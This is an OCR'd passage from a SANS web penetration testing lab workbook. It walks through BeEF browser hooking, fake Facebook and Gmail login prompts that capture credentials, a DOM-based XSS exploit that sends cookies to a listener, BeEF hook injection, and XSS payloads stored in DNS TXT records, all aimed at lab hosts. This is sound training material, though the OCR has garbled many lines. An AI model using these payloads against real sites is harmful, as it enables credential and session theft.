i Thu Jun 13 2019 10:29:16 GMT-0700 (Pacific Daylight Time)
data: answer=Yes, it is!

- Redirect the browser.
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Solution

1. Let's send Chromium to the SANS Portal login page.

+ We take security seriously!

2. In Firefox: Commands -> Browser -> Hooked Domain -> Redirect Browser

+ Redirect URL: https://sec542.org/www.sans.org/account/

* Then, click Execute.

Note

Chromium becomes unhooked after it leaves the BeEF injection page.

w

In Chromium, view the login page.

ns.org/account

€ -5 C & nhttps//sec542.0org/www.sa

** Apps J§ OMG Cute Bunny

-
v
Find Training | Live Training = Online Training

About

Programs = Resources

Login

Use Existing Account Create New Account
Email Address

Email Address
Password

Password
Keep me logged in for seven days Confirm Password

Forgot your password

Login

4. Be sure to click the OMG Cute Bunny bookmark at the top left to become re-hooked.

- Steal Facebook credentials.
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Solution

1. BeEF has Social Engineering modules designed to trick a user into entering the following:
+ Facebook password
+ LastPass password
+ Gmail password
+ And more!

2. Let's start with Facebook. In Firefox go to Social Engineering -> Pretty Theft

Module Tree

Search

4 (=] Social Engineering (24)
o Text to Voice
@ Cickjacking
@ Cippy
& Fake Evernote Web Clipg
@& Fake Flash Update
@ Fake LastPass
@ Fake Notification Bar
@ Fake Notification Bar (Ch
& Fake Motification Bar (Fir
& Fake Notification Bar (IE)
@ Google Phishing
@ Lecamtuf Download
& Pretty Theft

w

. Then click Execute.

Execute |

4. Switch to Chromium and enter fake credentials in the Facebook pop-up, and click Log in.

Facebook Session Timed Out

Your session has timed out due to inactivity.

Please re-enter your username and password to login.

Email: | adent

Password: I resnees

5. Switch back to Firefox and view the credentials. Go to Module Results History and click on the command.
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| Getting Started x | Logs

|' Zombies

| Details | Logs | Commands .|. Proxy || XssRays || Network

]

Cur|

Module Tree

Search

4 (5 Social Engineering (24)
L Text to bice
@ Cickjacking
@ Cippy
@ Fake Evernote Web Clipj
@ Fake Flash Update
& Fake LastPass
@ Fake Notification Bar
& Fake Notification Bar (Ch
@ Fake Notification Bar (Fir
& Fake Notification Bar (IE)
@ Google Phishing
& Lcamtuf Download
@ Pretty Theft

Module Resuits History
id a date
0 2019-06-1310:34

label
canmmdl

o

. The username and password entered in Chromium will be shown.

Command resuits

1| ThuJun 13 2019 10:34:42 GMT-0700 (Pacific Daylight Time)
data: answer=adent. Toweils!'

« Steal Google credentials
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Solution

1. In Firefox, go to Social Engineering -> Google Phishing.

2. Change the XSS hook URI to the OMG Cute Bunny page (https:/sec542.org/bunny.html). This is the page BeEF will open in a new tab after attempting to steal the user's Google

credentials.

Google Phishing

Description: This piugin uses an image tag to XSRF the logout button of Gmail,
Continvously the user is logged out of Gmail (eg. if he is logged in in
another tab). Additionally it will show the Google favicon and a Gmail
phishing page (although the URL is NOT the Gmail URL).

Id: 51

X35 hook URI: } hitps://sec542 org/bunny.htmi|

Gmail logout 10000
interval (ms):

Redirect delay | 1000
(ms):

w

Then click Execute. In Chromium, it looks like Trillian's been logged out of her gmail account. Better log back in...

IM Google Mail: Email from Gooa! xl +
€ - C & https://sec542.org/bunny.html o a x 0|0 :

i Apps ™M OMG CuteBunny [ TheButcher [3 BeEF Basic Demo

Google New o Googie Mair?

Google Malil
A Google approach to email. Sign in
Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. Usemame
After all, Google Mail has: trilian@gmail.com
[ = Lots of space Password
Over 2757.272164 megabytes (and counting) of free storage. ’ A =

Less spam
Keep unwanted messages out of your inbox m Stay signed in

Mobile access Can't access your account?
Get Google Mail on your mobile phone. Leam more

About Google Mail  New features!  Switch to Google Mail  Create an account

Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more

’ Take Google Mail to work with Google Apps for Business

4. Enter fake credentials and click Sign in.

5. Note that a second tab opens (to the OMG cute bunny page we configured as the XSS hook URI).
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@ https://sec542.org/bunny.html

OMG look at the cute bunny!

6. The first tab goes to the real Google login page.
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I G Signin- Google Accounts X 1 https://sec542.org/bunnyhtml - x |+

< > C & https://accounts.google.com/signin/v2/identifierzflowName=GlifWebSignIn&flowEntry=S..

3 Apps OMG Cute Bunny [ The Butcher [ BeEF Basic Demo

Google
Signin
with your Google Account

Email or phone

Forgot email?

Not your computer? Use Guest mode to sign in privately.
Learn more

Fre e [ e

7. In Firefox, click Command 1 to see the username and password entered.
Module Resuits History Command resuits -
id & date label 1 Thu Jun 13 2019 11:29:47 GMT-0700 (Pacific Daylight Time)
data: result=Username: trian@gmail.com Password:
0 2019-06-13 11:28 command 1 MPasswordisWickedSecure!

If You Have Time...

1. That wraps up this lab.

2. You can freestyle for a bit and try other commands and see what works. Share any interesting and creative BeEF hacks with your
instructor.

3. You might want to try the following modules:
* Browser -> Hooked Domain -> Redirect Browser (Rickroll)

« Social Engineering -> Fake Flash Update
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+ Social Engineering -> Clippy

4. Clippy in Chromium on Linux? Yes, please!

Note

They both accept a link if the user clicks Install or Yes (Clippy defaults to: http://0.0.0.0:3000/dropper.exe).

5. So, these exploits are not yet weaponized but can be easily configured to deliver the executable payload of the penetration tester's
choice.

Reference

[1] http://webaim.org/blog/user-agent-string-history/
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Exercise 4.3 - DOM-Based XSS

Objectives

+ Explore a reflected DOM-based XSS vulnerability
« Exploit the identified vulnerability to popup an alert window
« Exploit the identified vulnerability to steal the cookie(s)

+ Inject BeEF hook by exploiting the identified DOM-based XSS vulnerability

Lab Setup

1. In the SEC542 Linux VM, open Burp Pro and then open Firefox.

File System

2. Click Next on the project screen (use the default option of Temporary project). Then click Start Burp on the next screen (use the

default option of Use Burp Defaults)
3. Wait for Burp Pro to launch.

4. Run one instance of Burp Pro only. Multiple instances of Burp Pro are running if you see the warning below.

Warning

If you receieve a prompt to update Burp, click Close as any new or changed feaures may impact future lab exercises.
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Note

If you only have one instance running, you should not expect to see the popup below.

v

Delete old temporary files? X

Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?
Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019  /tmp/burp3936178803653028771.tmp
Tue May 28 15:11:08 PDT 2019  /tmp/burp17790170802505851378.tmp
Tue May 28 15:08:15 PDT 2019  /tmp/burp305967424870421416.tmp
Tue May 28 15:46:13 PDT 2019  /tmp/burp4042600176303109235.tmp

Delete

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro
instances and start over.

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port 8080
because it is in use by another instance.

5. Open Firefox and surf to: https:/www.sec542.org/mutillidae/index.php?page=password-generator.php&username=anonymous.

6. You may clear the database at any time by choosing Reset DB. This cleanly restarts the exercise, which is useful for clearing out
old attempts.

o OWASP Mutillidae 1I: Keep Calm an

Version: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) L
Home | Logout | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log |

OWASP 2017  » - - -
EEI - Hints and Videos |
OWASP 2013  »
TIP:
OWASP 2010  » ‘\

OWASP 2007 »

¥ What Should | Do? e Help Me!

Challenges

Target: https://www.sec542.org/mutillidae/index.php?page=password-generator.php&username=anonymous

Perform the following actions on the vulnerable web page:

« Identify JavaScript line where the reflected DOM based vulnerability is.
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Solution

1 Changethe UsSername parameterin URLto student .

findex.php?page=p

[ & | c @ \@ ‘ & https://www.sec542.org/mutillid: vord-generz ees 1}‘ N 0 ® @ a =

## Most Visited J[J Sec542 Wiki [€] Untrusted - a user ja... [ Untrusted Solutions

®% OWASP Mutillidae II: Keep Calm and Pwn On

8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Logged In User: student [#
Home | Logout | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

OWASP 2017  » [ Password Generator ]

OWASP 2013 »
OWASP 2010  » Back Q Help Me!
(- -

OWASP 2007 14

Hints and Videos

Web Services

HTML 5 ( Password Generator J

Others Making strong passwords is important.
Click the button below to generate a password.

This password is for student

Documentation

Resources

Donate
Want to Help?

2 Notice where the USername is reflected.
3. Append a double quote ( "' ) to the username parameter and visit the following link:

https://www.sec542.org/mutillidae/index.php?page=password-generator.php&username=student%22

Mozilla Firefox S 4

1

§ secc4z2.orgimutillidaerinder. X | +

= G |®|ﬁ https:/fwww.sec542.org/mutillidae/index.php?page=password-generato: === i}l + N @ = & @ =

L Most Visited [ Secsaz wiki @ Untristed - a user ja... [ Untrusted Salutions

®% OWASP Mutillidae 1I: Keep Calm and Pwn On

Version: 2.8.24 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier) Not Logged In
Home | Login/Register | Toggle Hints| Toggle Security | Enforce TLS | Reset DB | View Log | View Captured Data

/! 2017
( Password Generator ]
e~
| ® Hints and Videos |

- -
[ Password Generator ]
Making strong passwords is important.

- Click the button below to generate a password.
. :

Donate
Want to Help?

4. There are no visible errors but notice that there is also no displayed text This password is for student. Since we are suspecting in a potential DOM based XSS vulnerability, the
vulnerable code is in the client side JavaScript. If there are any errors, they will appear in the browser and they will not be visible in Burp, for example.
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5 In order to analyze the error, switch to the Mutillidae tab and open Web Console (Developer Tools) by going to the Firefox hamburger menu (upper right), and selecting Web Developer
->Web Console. Note that each Firefox tab can use a Web Console independently, so be sure to switch to the Mutilldae tab first.

L, -
Sync and save data sign In
New tab Ctri+T

I New window Ctrl+N

] New private window Ctri+Shift+P
Bookmarks >
History >
Downloads Ctri+Shift+y
Passwords
Add-ons and themes Ctri+Shift+A
Print... Ctrl+P
Save page as... Ctrl+s
Find in page... Ctri+F

| Zoom = 100% + /
Settings
More tools Il
Help >
Quit Ctrl+Q

6. The web Console will open at the bottom of the browser window. There will be an error displayed, notice line of code.
[w O Inspector [) Console [ Debugger 1 Network {} StyleEditor () Performance £ Memory [ Storage > 01 (] - X
m ¥ Filter Output Errors Warnings Logs Info Debug CSS XHR Requests -Z*
A\ This page is in Almost Standards Mode. Page layout may be impacted. For Standards Mode use “<!DOCTYPE html=". [Learn More] index.php
@ Uncaught SyntaxError: "" string literal contains an unescaped line break ___' index.php:1194:89
» &
—

~

clickon index.php:1024:89 toshow the JavaScript source where the username parameter is injected.

0w {3 Inspector [) Console [ Debugger 1) Metwork {} Style Editor () Performance {3 Memory [E Storage -+ Accessibility 888 Application

Sources Qutline [4a] index.php x 3]
. <tre<tds=</td></tr>
» B Main Thread " it
- & www.sec542.0rg 101 </ form=
» [ mutillidae = P s
] resourcei/fgre 1822 | <script=
I document .getElementById| "idUsernameInput” ). innerHTML = "This password is for student""; l
.

"
atert{"Error: + e.message}; =

Lo (178 ]

8. Notice the injected double quote. We will exploit this in the following challenge.

« Exploit the identified vulnerability to popup an alert window.
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Solution
1. As we can see in the JavaScript code above, the contents of the username parameter are directly used to format the string which is then injected into the element with the ID of
idUsernamelnput. It appears as we can close the string by injecting a quote and then continue writing JavaScript.
2 Tryinjecting @alert (1) withthe following URL: httpss//www.sec542.org/mutillidae/index.php?page=password-
generator.php&username=student%223alert (1) j Usethe same Firefox tab that we used previously (with Web Console open).

3. This doesn’t work — so check the Web Console to see where the error is, click on it and in the Debugger analyze the error.

3 O inspecor [D) Console O Debugoer  $f Network [} Style Editor (D) Performance. { Memary [E Sworage. ¢ Accessibdry g Whars New ) Cookie Editor x
SOUTES Outling H  indexphp % B = F i3
- [ s Thenat b Wy Expreasine: a

= @ wwwsecsiLong = Breakpaints

¥ [ mutisdae ] e on exceptions
v @ resourcedigre * NHR Breakpoints. +
sernanTiput=). tnnersiL ~[ T3 passenrd (s for stutent*iatere(1)it]
+ Event Listener Breakpoints Uiog
B DOM Mutation Breakpoints
|

@ (i8]} @

4. It looks as we have a quote and semicolon extra — these can be commented out with // so the final exploit will be the following URL (use the same Firefox tab we used previously).

https://www.sec542.0org/mutillidae/index.php?page=password-
generator.php&username=student"jalert(1)3//

1
[ Allow dialogs from www.sec542.org to take you to their tab

« Exploit the identified vulnerability to steal the cookie(s). Run a local server with Python and send the cookies to it.
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Solution

1. Now that we can run JavaScript, in order to steal the cookies we need to read them from document.cookie andsendina request to the attacker. The attacker will be

simulated as running a web server with Python, listening on TCP port 1234. Open a new terminal and execute the following command (leave the terminal open):

python3 -m http.server 1234

Expected result

Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...

2. The easiest way to steal cookies is to create a new Image object with an arbitrary source, like in the following code:

image = new Image(); image.src="http://localhost:1234?c="'+document.cookie;//

3. This should be JavaScript that we need to execute but remember that it must be URL encoded before. We will use Burp’s Decoder to URL encode this code. Go to the Decoder tab on
Burp's main menu and paste the code in. Then select Encode as: -> URL

+ Burp Suite Professional v2021.3.1 - Temporary Project - licensed to SANS Institute - 756588 1916656075c474cd2dd [ userli — + X
Burp Project Intruder Repeater Window Help

Dashboard Target Praoxy Intruder
Repeater Sequencer Decoder Comparer Extender Project options User options
image = new Image(); image src="http/flocalhost:1 2347 c="+document.cookie;// o Text Hex @

| Decode as ... v |

| Encode as ... vl

| |
Plain

b URL

H¥EIW6D %6 1%67%HE5%20%3d%20%6eWH65HTTH20MHA0KE0 WO 1 HETIE5%HZBH29%I0 W2 0HEINH60WE T HETHE5HZeWTIH
ASCIT hex
Hex

Octal

Binary

4. Be sure there is not a trailing newline character: the cursor should be at the end of the encoded string, and not one line below it. The encoded string should end with %2f .

5. Append the encoded JavaScript to this URL:

https://www.sec542.org/mutillidae/index.php?page=password-generator.php&username=student";

6. This results in the following final exploit:

https://www.sec542.org/mutillidae/index.php?page=password-generator.php&username=student";
%69%6d%61%67%65%20%3d%20%6e%65%77%20%49%6d%61%67%65%28%29%3b%20%69%6d%61%67%65%2e%73%72%63%3d

7. Paste that into the Firefox address bar and press Enter . The terminal window should show the captured cookie:
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127.0.0.1 - - [11/Mar/2020 20:20:16] "GET /?
c=showhints=1;%20PHPSESSID=ht6rgbrjq6de8njeljsfima2dk HTTP/1.1" 200 -

8. Exit the Python web server by pressing CTRL—=C or closing the terminal window.

+ Inject BeEF hook by exploiting the identified DOM-based XSS vulnerability.
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Solution

1. Finally, our last challenge consists of injecting the BeEF hook. As with the previous lab, we will use Mozilla Firefox as the attacker and Chromium as the victim.

2. In order to inject the hook, you will need to use jQuery’s getSc ri pt method, which performs an AJAX request and loads a JavaScript file. In case of success, you will need to

callthe beef_init() functionto start the hook.

Note

Since BeEF is running over HTTP, you will need to access the HTTP instance of Mutillidae in Chromium (http://
www.sec542.org/mutillidae/). It is not possible to load JavaScript from HTTP when the main web page has been retrieved
over HTTPS.

3. Start BeEF:

cd /opt/beef
./beef

4. Open Firefox and go to http://127.0.0.1:3000/ui/panel.

5. Log in with the following credentials:
‘Username: beef
*Password: Security542

6. Read the documentation of the jQuery’s getScr'i pt method, available at https://api.jquery.com/jquery.getscript/.

% jQuery.getScript{ url [, success]) version added: 1.0

url
Type: String
A string containing the URL to which the request is sent.

success
Type: Function( Sfring script. String textStatus, [gXHR jgXHR )
A callback function that is executed if the request succeeds.

7. According to the documentation, we will need to supply the following parameters:
‘url: http://127.0.0.1:3000/hook.js

* function to execute upon success: beef_'i nit ( )

8. The final code will look like this:
$.getScript("http://127.0.0.1:3000/hook.js", function() { beef_init(); })s//

9. Use Burp’s Decoder to encode this:
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10.

1

-

12.

13
14.

~ Burp Suite Professional v2021.3.1 - Temporary Project - licensed to SANS Institute - 756588 1916651 — + X
Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater
Sequencer Decoder Comparer Extender Project options User options
$.getScript{"http:/M27.000.1:3000/hook.js", Tunction() { beef_initf); '_I:I,'J"J'1 o Text | Hex @
| Decode as ... ~ |
| Encode as ... b |
| Hash ... b |
| smart decode |

B0 0% 7h %2 0962 We5HE59%66% 5M600%6e 0T 4% 28 I0% ID % 20M 7 d 2% ID W 2621 OTExt { ) Hex

| Decode as ... V|
| Encode as ... V|
| Hash .. v |

| Smart decode |

Be sure there is not a trailing newline character: the cursor should be at the end of the encoded string, and not one line below it. The encoded string should end with %2 F .

. Append the encoded JavaScript to this URL:

““text http:/www.sec542.org/mutillidae/index.php?page=password-generator.php&username=student"; text

This results in the following final exploit (notice HTTP instead of HTTPS):

http://www.sec542.org/mutillidae/index.php?page=password-generator.php&username=student";

%242%2e%67%65%T74%53%63%72%69%T0%T74%28%22%68%T4%T4%70%3a%21%21%31%32%37%2e%30%2e%30%2e%31%3a%33

. Open Chromium and surf to that URL.

Bonus: click on the Network tab in Web Console and see BeEF’'s hook making callbacks every second to the controller. Click on settings (three stacked dots in the upper right corner)
-> More Tools -> Developer tools -> Network.

[T Y | LRLLE WOoOTWO I3 TOT S0 T
(¥ O Inspectar () Console [ Debugge ) styleEditor () Performance  # Memory [E) Storage - Accessibility §§ What'sNew 3 0] += X
T Filter URLs 1 Qa ® Al HTML €SS S XHR Fonts Images Media WS Other I:I Persist Logs |:|DISEDIE Cache  NoThrottling 3 HAR 3

Method Domain File Cause Type Transferred Size Oms | 1.37 min | 273 min

GET @ 127.0.0.1:3000  hook js?BEEFHOOK=3qCmVpaySZLzc0FsLUNr3xSjKI... script Is 2528 0B 16 ms

GET @ 127.0.0.13000 hook js?BEEFHOOK=3qCmVpaySZLzc0FsLuNr3x5{K9... script Is 252B 0B 18 ms

GET @ 127.0.0.1:3000  hook js?BEEFHOOK=3qCmVpaySZLzcOFsLuNr3xSiKI.. script Is 528 0B 17 ms

GET @ 127.0.0.1:3000  hook js?BEEFHOOK=3qCmVpaySZLzcOFsLUNI3xSiKI. . script s 2528 0B 16 ms

GET @ 127.0.0.1:3000 hookjs?BEEFHOOK=3qCmVpaySZLzcOFsLuNr3x5jKD... script Is 2528 0B 17 ms

GET & 127.0.0.1:3000  hooks?BEEFHOOK=3qCmVpaySZLzcOFSLUNT3XSIKS... script IS 2528 0B 18 ms .
G 169 requests 0 B/41.97 KB transferred | Finish: 270 min
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Exercise 4.4 - XSS

Objectives

+ Gain hands-on experience with XSS (Cross-Site Scripting)

+ Demonstrate reflected XSS via a vulnerable web application

« Exploit stored inter-protocol XSS to perform the following steps via DNS TXT records:
+ Display a JavaScript alert pop-up

+ Load and execute an external JavaScript file to display an alert pop-up

+ Load and execute an external JavaScript file to execute 'shake.js'

ab Setup

1. Open Firefox and go to: https://sec542.org/dns-lookup/.

2. Begin by looking up sec542.org. Enter sec542.0rg inthe form and click Submit.

EO0COEEOO®
DNS Lookup Tool

i

lllplalanlalalalas

3. Then scroll through the results. Note the value of the TXT record.
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I DNS Lookup Tool :: norakus X ‘ <5

)2 C @

£+ Most Visited

’ﬁ’ﬂ https:/sec542.0rg/dns-lookup

120%

TXT Records

So long, and thanks for all the fist

Signed Mail (DKIM), but TXT records may be used for virtually any purpose. They may contain ASCII text... including JavaScript.

5. That TXT record is served from the bind name server running on the SEC542 Linux VM. The DNS zone file for sec542.org is

located at /etc/bind/zones/sec542.0rg.db .

6. Here is the beginning of that file:

4. DNS TXT records contain free-form text. Common uses include Sender Policy Framework (SPF) (RFC 7208) and DomainKeys

o

STTL 86400
sech42.org.

sech42.0rg.
sec542.org.
sec542.0rg.
sec542.0rg.

nsl

mail

Www
scanner
dvwa
heartbleed
shellshock
attacker

IN

Terminal - student@Security542: ~

Fle Edit View Terminal Tabs Help
[~]1% cat /etc/bind/zones/sec542.org.db

SOA nsl.sec542.org. admin.sec542.o0rg. (
2019080200
28800
3600
604800
38400

A 10.42.42.42

NS nsl.sec542.net.

MX 10 mail.sec542.net.

TXT "So long, and thanks for all the fish."

10.42.42.42
10.42.42.42
10.42.42.42
10.42.42.42
10.42.42.42
172.18.0.2
172.18.0.2
172.17.0.2

PP D>P>P>

7. You may view this zone file by typing the following:

cat /etc/bind/zones/sec542.0rg.db
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8. We will use a different zone for this lab: sec542.info. The zone file is located at /etc/bind/zones/sec542.info.db .
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Challenges

Perform the following steps via the DNS lookup site at https://sec542.org/dns-lookup/.

Notes

1. Remember to use sec542.info for this lab. The other zones (sec542.org and sec542.net) are used for other labs; sec542.info is
used only for this lab.

2. Be careful editing the zone file: Any syntax error will break DNS resolution for the sec542.info zone. Please use the following
script to check the zone configuration and start bind:

sudo /usr/local/bin/bind-reload.sh

3. Note that DNS TXT records must have balanced double quotes around the value.

4. For bind experts: We are restarting bind (and not simply reloading the zone) to simplify the lab, so there is no need to increment
the DNS serial number.

5. You may also start over with a fresh (clean) zone file. Note: This will erase the current zone file and replace it with an original
copy:

sudo /usr/local/bin/bind-reset-original.sh

« Demonstrate reflected XSS by creating a JavaScript pop-up alert
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Solution

1. Open Firefox and surf to https:/sec542.org/dns-lookup/.

2. Enter the following in the form (feel free to use the string of your choice):

<script>alert('XSS!')</script>

<script>ale("XSS!")

3. Then click Submit. You should see the following output:
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+ Perform these steps using stored inter-protocol XSS via sec542.info's zone by editing /etc/bind/zones/sec542.info.db,
restarting bind, and looking up sec542.info viathe DNS lookup site; demonstrating the same pop-up alert.
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Solution

1- Edit sec542.info's zone file by opening a terminal and launching ged‘i t:
sudo gedit /etc/bind/zones/sec542.info.db
2. Change the TXT record value from 42 to the following:

sec542.info. IN TXT "<script>alert('XSS via DNS!')</script>"

| *sec54Z.info.db :
I . J‘lJ retc/bind/zones Save ‘,ﬂ SSSS
604800
38400
)
sec542.info. IN A 18.42.42.42
sec542.info. IN NS nsl.sec542.info.
sec542.info. IN MX 18 mail.sec542.info.
sec542.info. IN TAT <script=alert('XSS via DNS!')</script>"
nsl IN A 10.42.42.42
mail IN A 10.42.42.42
PlainText * TabWidth:8 « Ln12, Col 33 - INS

3. Make sure the balanced double quotes remain in the TXT record (they are required).

4. Click Save, exit ged'i t , and type the following command to check the zone configuration syntax and restart bind:

sudo /usr/local/bin/bind-reload.sh

5. You will see the following if you were successful:

=

Fle Edit View Terminal Tabs Help
[~1% sudo fusr/local/bin/bind-reload.sh
Checking zone configuration syntax...

zone sech42.info/IN: loaded serial 2019090101
0K

Looks good, restarting bind...

[~15 B

g Terminal - student@Security542: ~ L e
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Warning

If you see the following, you have made a syntax error (note the mention of unbalanced quotes ):

File Edit View Terminal Tabs Help
[~]1% sudo fusr/local/bin/bind-reload.sh
Checking zone configuration syntax...

dns_rdata fromtext: /etc/bind/zones/sec542.info.db:12: near eol: unbalan
ced quotes

zone sec542.info/IN: loading from master file /etc/bind/zones/sec542.inf
o.db failed: unbalanced quotes

zone secb42.info/IN: not loaded due to errors.

Your configuration has an error, please check your syntax

Re-edit the zone file and fix the syntax error:

gedit /etc/bind/zones/sec542.info.db

You may start over and reload the original zone file by typing
this command (use the student account password):

sudo bind-reset-original.sh

[~1s B

\ Terminal - 4 MW

Edit the file with gedit and repair your syntax. You may also start over with a fresh (clean) zone file.

This will erase the current zone file and replace it with an original copy:

sudo /usr/local/bin/bind-reset-original.sh

6. Next, open Firefox and surf to https://sec542.org/dns-lookup/.
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POSEOCS0E®
DNS Lookup Tool

YourlPis:127.0.0.1

secs42.info

Y XY Fr 5 & - o < il 4 o il o 7
HOEOEOEEEES

7 Then search for s€c542.info and click Submit:

XSS via DNS!

« Create an external JavaScript file at https://sec542.org/alert.js and load it to send a pop-up alert.
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Solution
T-use gedit tocreate /var/www/html/alert.js:
sudo gedit /var/www/html/alert.js
2. Enter the following:
alert("XSS via DNS and external .js file!");

[omen - | + |t = || © [l

alert("XSS via DNS and external .js file!");

JavaScript ¥ TabWidth:8 « Ln1, Col 45 * INS

3 savethefile and exit gedit .

4. Then edit sec542.info's zone file:

sudo gedit /etc/bind/zones/sec542.info.db

5. Change the TXT record value to the following:
sec542.info. IN TXT "<script src='//sec542.org/alert.js'></script>"
6. Click Save, exit ged'i t , and type the following command to check the zone configuration syntax and restart bind:

sudo /usr/local/bin/bind-reload.sh

Warning

If you receive an error, check and edit your syntax and try again. See the previous section for more information.

7. Open Firefox and surf to: https://sec542.org/dns-lookup/.

8. Search for s€c542.9nfo and click Submit.
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XS5 via DNS and external .js file!
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Note

When loading external .js files, Firefox may cache old versions. If you see old content after updatinga .js file, clear
Firefox's cache by clicking on the hamburger menu in the upper-right, and go to Preferences -> Privacy and Security. Note
this is only necessary if you see old .js content, otherwise skip this step.

Scroll down to History.

O Find in Preferences

0 Hame History

Firefoxwill Remember history v
Q Search

Firefox will remember your browsing, download, form, and search Clear History...
ﬂ Privacy & Security Watorny
& sync

Address Bar

When using the address bar, suggest

\v/| Browsing history
7 Bookmarks

7 Open tabs

Change preferences for search engine suggestions

Then click the Clear History... button. The default time range of Last Hour is fine, so click Clear Now.

+ Load and execute an external JavaScript file located at https://sec542.org/shake.js.

Warning

It will 'shake' the web page and play music if your speakers are on and the VM is able to use the host's speakers.
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Solution

1. Edit sec542.info's zone file:

sudo gedit /etc/bind/zones/sec542.info.db

2. Change the TXT record value to the following:

sec542.info. IN TXT "<script src='//sec542.org/shake.js'></script>"

o] 7]

*sec542.info.db
letc/bind/zones save || & l‘ =

STTL 86400
sec542.info.

)
sec542.info.
sec542.info.
sec542.1info.
sec542.1info.
sec542.info.
nsl

mail

IN

IN
IN

IN
IN
IN
IN

SOA

NS

TXT
TXT

nsl.sec542.info. admin.sec542.info. (

2019090101

28800

3600

604800

38400

10.42.42.42
nsl.sec542.info.

10 mail.sec542.info.

ng2n

"<script src='//sec542.org/shake.js'></script>"
10.42.42.42
10.42.42.42

PlainText v Tab Width:8 v Ln 16, Col 1

INS

3 Click Save, exit ged'i t , and type the following command to check the zone configuration syntax and restart bind:

sudo /usr/local/bin/bind-reload.sh

4. If you receive an error, check and edit your syntax and try again. See the Stored Inter-protocol XSS: Pop-Up Alert section for more information.

5. Next, open Firefox and surf to: https://sec542.org/dns-lookup/.

Note

shake.js will shake the screen and (attempt) to play music.

6. Then search for s€c542.info and click Submit:

296

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

Technet24


https://technet24.ir
https://technet24.ir

HEED G ©aE®
DNS Lookup Tool

Lookup results for : sec542.i

A MX SRV

7. Shake it up!! Be sure to scroll down to the section beginning with A, MX, etc., to see more shaking.

8. The music requires your speakers to be turned on, and the VM must have virtual access to them. Check your speaker volume, and check following if you don't hear anything:
+ VMware Workstation: VM -> Removable Devices -> Sound Card
+ VMware Workstation Player: Player -> Removable Devices -> Sound Card
+ VMware Fusion: Virtual Machine -> Sound Card

9. Click the Firefox Home button to stop the music.

10. There is a BeEF lab coming up later: As a bonus step, at the end of the BeEF lab, hook a browser via a DNS TXT record lookup.

Credit (and thanks) for this idea and software goes to:

+ Jamie Hankins (Twitter: @ijamieh)

» Erick Setiawan (https://github.com/ericksetiawan/dns-lookup)

+ Jonathan Davis (https://www.jonathandavis.me.uk/2014/09/writing-a-dns-look-up-tool/)

« Devin Walters (https://gist.qgithub.com/devn/5007287#file-harlem-shake-js)

+ Note that the original shake.js used the copyrighted "Harlem Shake" MP3, so this lab uses a classic public domain song instead.
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Exercise 4.5 - Server-Side Request Forgery

+ Get familiar with following attack techniques:
+ SSRF (of course)
* Fuzzing
+ Analysis of error codes
« Authorization bypass
* Injection
« Chain multiple vulnerabilities until you finally identify the database and fetch contents of the owners table in it (psst: some famous

TV people might have their data in there!)

Lab Setup

1. In the SEC542 Linux VM, open Burp Pro and then open Firefox.

2. Click Next on the project screen (use the default option of Temporary project). Then click Start Burp on the next screen (use the

default option of Use Burp Defaults)
3. Wait for Burp Pro to launch.

4. Run one instance of Burp Pro only. Multiple instances of Burp Pro are running if you see the warning below.

Warning

If you receieve a prompt to update Burp, click Close as any new or changed feaures may impact future lab exercises.
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Note

If you only have one instance running, you should not expect to see the popup below.

v Delete old temporary files? X

Your temporary directory contains the following folders which appear to have been previously generated by Burp. Would you like to delete these?
' Note: you should not delete these files if another instance of Burp is currently running.

Tue May 28 15:08:14 PDT 2019  /tmp/burp3936178803653028771.tmp
Tue May 28 15:11:08 PDT 2019  /tmp/burp17790170802505851378.tmp
Tue May 28 15:08:15 PDT 2019  /tmp/burp305967424870421416.tmp
Tue May 28 15:46:13 PDT 2019  /tmp/burp4042600176303109235.tmp

Delete

In this case, choose Leave and then close the newest Burp instance, leaving the original. When in doubt, close all Burp Pro
instances and start over.

Warning

Burp Pro must be listening on port 8080, and the Burp Pro instance that generates the preceding error cannot bind to port 8080
because it is in use by another instance.

5. Open a terminal and start the SSRF Docker container by typing the following command:

/labs/ssrf.sh

s Terminal - student@secs42: ~ - + X
File Edit View Terminal Tabs Help
[~1% /labs/ssrf.sh
Editing APACHE_RUN_GROUP environment variable
Editing phpmyadmin config
Setting up MySQL directories
Allowing Apache/PHP to write to the app
Allowing Apache/PHP to write to MySQL
Editing MySQL config
=> Using an existing volume of MySQL
Starting supervisord
/usr/local/lib/python3.6/dist-packages/supervisor-4.2.0-py3.6.egg/supervisor/options.py:474: UserWarning: Supervisord is running as root
and it is searching for its configuration file in default locations (including its current working directory); you probably want to spe
cify a "-c" argument specifying an absolute path to a configuration file for improved security.
‘Supervisord is running as root and it is searching '
2022-07-05 14:09:45,568 CRIT Supervisor is running as root. Privileges were not dropped because no user is specified in the config file
. If you intend to run as root, you can set user=root in the config file to avoid this message.
2022-07-85 14:09:45,568 INFO Included extra file "/etc/supervisor/conf.d/supervisord-apache2.conf" during parsing
2022-07-05 14:09:45,569 INFO Included extra file "/etc/supervisor/conf.d/supervisord-mysqld.conf" during parsing
2022-07-05 14:09:45,590 INFO RPC interface 'supervisor' initialized
2022-07-05 14:09:45,590 CRIT Server ‘'unix_http server' running without any HTTP authentication checking
2022-07-05 14:09:45,590 INFO supervisord started with pid 1
2022-07-05 14:09:46,592 INFO spawned: 'apache2' with pid 24
2022-07-05 14:09:46,594 INFO spawned: 'mysgld' with pid 25
2022-07-05 14:09:48,039 INFO success: apache2 entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
2022-07-05 14:09:48,040 INFO success: mysqld entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)

